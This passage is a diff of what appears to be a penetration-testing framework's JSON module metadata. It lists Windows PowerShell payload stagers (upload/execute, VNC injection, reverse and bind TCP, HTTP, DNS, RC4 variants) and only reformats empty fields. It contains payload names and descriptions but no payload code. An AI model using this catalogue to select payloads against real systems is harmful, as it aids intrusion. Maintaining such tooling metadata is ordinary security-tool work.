"notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229998,9 +204401,7 @@ "payload_cmd/windows/powershell/speak_pwned": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/speak_pwned", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230009,9 +204410,7 @@ "Berend-Jan \"SkyLined\" Wever " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230025,8 +204424,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230037,9 +204435,7 @@ "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230068,8 +204464,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230082,9 +204477,7 @@ "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230113,8 +204506,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230127,9 +204519,7 @@ "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230141,9 +204531,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230157,8 +204545,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230171,9 +204558,7 @@ "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230186,9 +204571,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230202,8 +204585,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230216,9 +204598,7 @@ "payload_cmd/windows/powershell/upexec/bind_named_pipe": { "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/upexec/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230229,9 +204609,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230245,8 +204623,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230259,9 +204636,7 @@ "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/upexec/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230271,9 +204646,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230287,8 +204660,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230301,9 +204673,7 @@ "payload_cmd/windows/powershell/upexec/bind_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230315,9 +204685,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230331,8 +204699,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230345,9 +204712,7 @@ "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230361,9 +204726,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230377,8 +204740,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230391,9 +204753,7 @@ "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230405,9 +204765,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230421,8 +204779,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230435,9 +204792,7 @@ "payload_cmd/windows/powershell/upexec/find_tag": { "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/upexec/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230448,9 +204803,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230464,8 +204817,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230478,9 +204830,7 @@ "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230492,9 +204842,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230508,8 +204856,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230522,9 +204869,7 @@ "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230534,9 +204879,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230550,8 +204893,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230564,9 +204906,7 @@ "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230577,9 +204917,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230593,8 +204931,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230607,9 +204944,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230621,9 +204956,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230637,8 +204970,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230651,9 +204983,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230665,9 +204995,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230681,8 +205009,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230695,9 +205022,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230710,9 +205035,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230726,8 +205049,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230740,9 +205062,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230756,9 +205076,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230772,8 +205090,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230786,9 +205103,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230802,9 +205117,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230818,8 +205131,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230832,9 +205144,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230846,9 +205156,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230862,8 +205170,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230876,9 +205183,7 @@ "payload_cmd/windows/powershell/upexec/reverse_udp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/upexec/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230889,9 +205194,7 @@ "RageLtMan " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230905,8 +205208,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230919,9 +205221,7 @@ "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230951,8 +205251,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230965,9 +205264,7 @@ "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230997,8 +205294,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231011,9 +205307,7 @@ "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231041,8 +205335,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231055,9 +205348,7 @@ "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231086,8 +205377,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231100,9 +205390,7 @@ "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231129,8 +205417,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231143,9 +205430,7 @@ "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231172,8 +205457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231186,9 +205470,7 @@ "payload_cmd/windows/powershell/vncinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231216,8 +205498,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231230,9 +205511,7 @@ "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231262,8 +205541,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231276,9 +205554,7 @@ "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231306,8 +205582,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231320,9 +205595,7 @@ "payload_cmd/windows/powershell/vncinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/vncinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231349,8 +205622,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231363,9 +205635,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231392,8 +205662,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231406,9 +205675,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231435,8 +205702,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231449,9 +205715,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231479,8 +205743,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231493,9 +205756,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231522,8 +205783,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231536,9 +205796,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231565,8 +205823,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231579,9 +205836,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231609,8 +205864,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231623,9 +205877,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231653,8 +205905,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231667,9 +205918,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231698,8 +205947,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231712,9 +205960,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231744,8 +205990,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231758,9 +206003,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231790,8 +206033,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231804,9 +206046,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231834,8 +206074,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231848,9 +206087,7 @@ "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231878,8 +206115,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231892,9 +206128,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231904,9 +206138,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -231920,8 +206152,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231934,9 +206165,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231947,9 +206176,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -231963,8 +206190,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231977,9 +206203,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231989,9 +206213,7 @@ "UserExistsError" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232005,8 +206227,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232019,9 +206240,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_tcp": { "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232031,9 +206250,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232047,8 +206264,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -232061,9 +206277,7 @@ "payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -232078,9 +206292,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -232094,8 +206306,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, 